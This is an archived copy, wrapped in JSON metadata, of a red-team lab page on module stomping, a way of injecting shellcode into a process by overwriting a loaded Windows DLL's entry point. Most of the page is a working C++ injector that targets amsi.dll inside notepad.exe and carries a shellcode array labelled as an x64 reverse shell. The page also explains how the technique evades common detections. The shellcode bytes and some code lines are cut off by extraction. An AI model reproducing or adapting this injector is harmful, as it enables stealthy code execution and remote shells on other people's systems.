{
	"id": "77b8f1c9-b77d-46e1-ae47-f105362ec297",
	"created_at": "2026-04-06T00:09:47.966101Z",
	"updated_at": "2026-04-10T03:19:57.351451Z",
	"deleted_at": null,
	"sha1_hash": "c103ce40f2b8552e924fdab858416e4ac1386c62",
	"title": "Module Stomping for Shellcode Injection | Red Team Notes",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 56559,
	"plain_text": "Module Stomping for Shellcode Injection | Red Team Notes\r\nPublished: 2020-01-11 · Archived: 2026-04-05 12:44:26 UTC\r\n1. offensive security\r\n2. Code \u0026 Process Injection\r\nModule Stomping for Shellcode Injection\r\nCode Injection\r\nModule Stomping (or Module Overloading or DLL Hollowing) is a shellcode injection (although can be used for\r\ninjecting full DLLs) technique that at a high level works as follows:\r\n1. Injects some benign Windows DLL into a remote (target) process\r\n2. Overwrites DLL's, loaded in step 1, AddressOfEntryPoint point with shellcode\r\n3. Starts a new thread in the target process at the benign DLL's entry point, where the shellcode has been\r\nwritten to, during step 2\r\nIn this lab, I will inject amsi.dll into a notepad.exe process, but this of course could be done with any other\r\nDLL and process.\r\n1. Does not allocate RWX memory pages or change their permissions in the target process at any point\r\n2. Shellcode is injected into a legitimate Windows DLL, so detections looking for DLLs loaded from weird\r\nplaces like c:\\temp\\ would not work\r\n3. Remote thread that executes the shellcode is associated with a legitimate Windows module\r\nReadProcessMemory / WriteProcessMemory API calls are usually used by debuggers rather than \"normal\"\r\nprograms.\r\nReadProcessMemory is used to read remote process injected module's image headers, meaning we could ditch the\r\nReadProcessMemory call and read those headers from the DLL on the disk.\r\nWe could also use NtMapViewOfSection to inject shellcode into the remote process, reducing the need for\r\nWriteProcessMemory .\r\nhttps://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection\r\nPage 1 of 3\n\n#include \"pch.h\"\r\n#include \u003ciostream\u003e\r\n#include \u003cWindows.h\u003e\r\n#include \u003cpsapi.h\u003e\r\nint main(int argc, char *argv[])\r\n{\r\nHANDLE processHandle;\r\nPVOID remoteBuffer;\r\nwchar_t moduleToInject[] = L\"C:\\\\windows\\\\system32\\\\amsi.dll\";\r\nHMODULE modules[256] = {};\r\nSIZE_T modulesSize = sizeof(modules);\r\nDWORD modulesSizeNeeded = 0;\r\nDWORD moduleNameSize = 0;\r\nSIZE_T modulesCount = 0;\r\nCHAR remoteModuleName[128] = {};\r\nHMODULE remoteModule = NULL;\r\n// simple reverse shell x64\r\nunsigned char shellcode[] = \"\\xfc\\x48\\x83\\xe4\\xf0\\xe8\\xc0\\x00\\x00\\x00\\x41\\x51\\x41\\x50\\x52\\x51\\x56\\x48\\x\r\n// inject a benign DLL into remote process\r\nprocessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));\r\n//processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 8444);\r\nremoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof moduleToInject, MEM_COMMIT, PAGE_READWRITE);\r\nWriteProcessMemory(processHandle, remoteBuffer, (LPVOID)moduleToInject, sizeof moduleToInject, NULL);\r\nPTHREAD_START_ROUTINE threadRoutine = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT(\"Kerne\r\nHANDLE dllThread = CreateRemoteThread(processHandle, NULL, 0, threadRoutine, remoteBuffer, 0, NULL);\r\nWaitForSingleObject(dllThread, 1000);\r\n// find base address of the injected benign DLL in remote process\r\nEnumProcessModules(processHandle, modules, modulesSize, \u0026modulesSizeNeeded);\r\nmodulesCount = modulesSizeNeeded / sizeof(HMODULE);\r\nfor (size_t i = 0; i \u003c modulesCount; i++)\r\n{\r\nremoteModule = modules[i];\r\nGetModuleBaseNameA(processHandle, remoteModule, remoteModuleName, sizeof(remoteModuleName));\r\nif (std::string(remoteModuleName).compare(\"amsi.dll\") == 0)\r\n{\r\nstd::cout \u003c\u003c remoteModuleName \u003c\u003c \" at \" \u003c\u003c modules[i];\r\nbreak;\r\n}\r\n}\r\n// get DLL's AddressOfEntryPoint\r\nhttps://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection\r\nPage 2 of 3\n\nDWORD headerBufferSize = 0x1000;\r\nLPVOID targetProcessHeaderBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, headerBufferSize);\r\nReadProcessMemory(processHandle, remoteModule, targetProcessHeaderBuffer, headerBufferSize, NULL);\r\nPIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetProcessHeaderBuffer;\r\nPIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)targetProcessHeaderBuffer + dosHeader-\u003ee_lf\r\nLPVOID dllEntryPoint = (LPVOID)(ntHeader-\u003eOptionalHeader.AddressOfEntryPoint + (DWORD_PTR)remoteModule)\r\nstd::cout \u003c\u003c \", entryPoint at \" \u003c\u003c dllEntryPoint;\r\n// write shellcode to DLL's AddressofEntryPoint\r\nWriteProcessMemory(processHandle, dllEntryPoint, (LPCVOID)shellcode, sizeof(shellcode), NULL);\r\n// execute shellcode from inside the benign DLL\r\nCreateRemoteThread(processHandle, NULL, 0, (PTHREAD_START_ROUTINE)dllEntryPoint, NULL, 0, NULL);\r\nreturn 0;\r\n}\r\nBelow shows the technique in action - amsi.dll gets loaded into notepad and a reverse shell is spawned by the\r\nshellcode injected into amsi.dll AddressOfEntryPoint :\r\nNote how powershell window shows that amsi.dll is loaded at 00007FFF20E60000 and it's DLL\r\nAddressOfEntryPoint point is at 00007FFF20E67E00.\r\nIf we look at the stack trace of the cmd.exe process creation event in procmon, we see that frame 9 originates from\r\ninside amsi!AmsiUacScan+0x5675 (00007fff20e67f95) before the code transitions to kernelbase.dll where\r\nCreateProcessA is called:\r\nProcmon logs\r\nIf we inspect notepad.exe threads, we can see thread 7372 with a start address of Amsi!AmsiUacScan+0x54e0 .\r\nIf we inspect that memory location with a debugger, we see it resolves to Amsi!DLLMainCRTStartup and it\r\ncontains our shellcode as expected:\r\nThis site uses cookies to deliver its service and to analyze traffic. By browsing this site, you accept the privacy\r\npolicy.\r\nSource: https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection\r\nhttps://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection\r\nPage 3 of 3",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection"
	],
	"report_names": [
		"modulestomping-dll-hollowing-shellcode-injection"
	],
	"threat_actors": [],
	"ts_created_at": 1775434187,
	"ts_updated_at": 1775791197,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/c103ce40f2b8552e924fdab858416e4ac1386c62.pdf",
		"text": "https://archive.orkl.eu/c103ce40f2b8552e924fdab858416e4ac1386c62.txt",
		"img": "https://archive.orkl.eu/c103ce40f2b8552e924fdab858416e4ac1386c62.jpg"
	}
}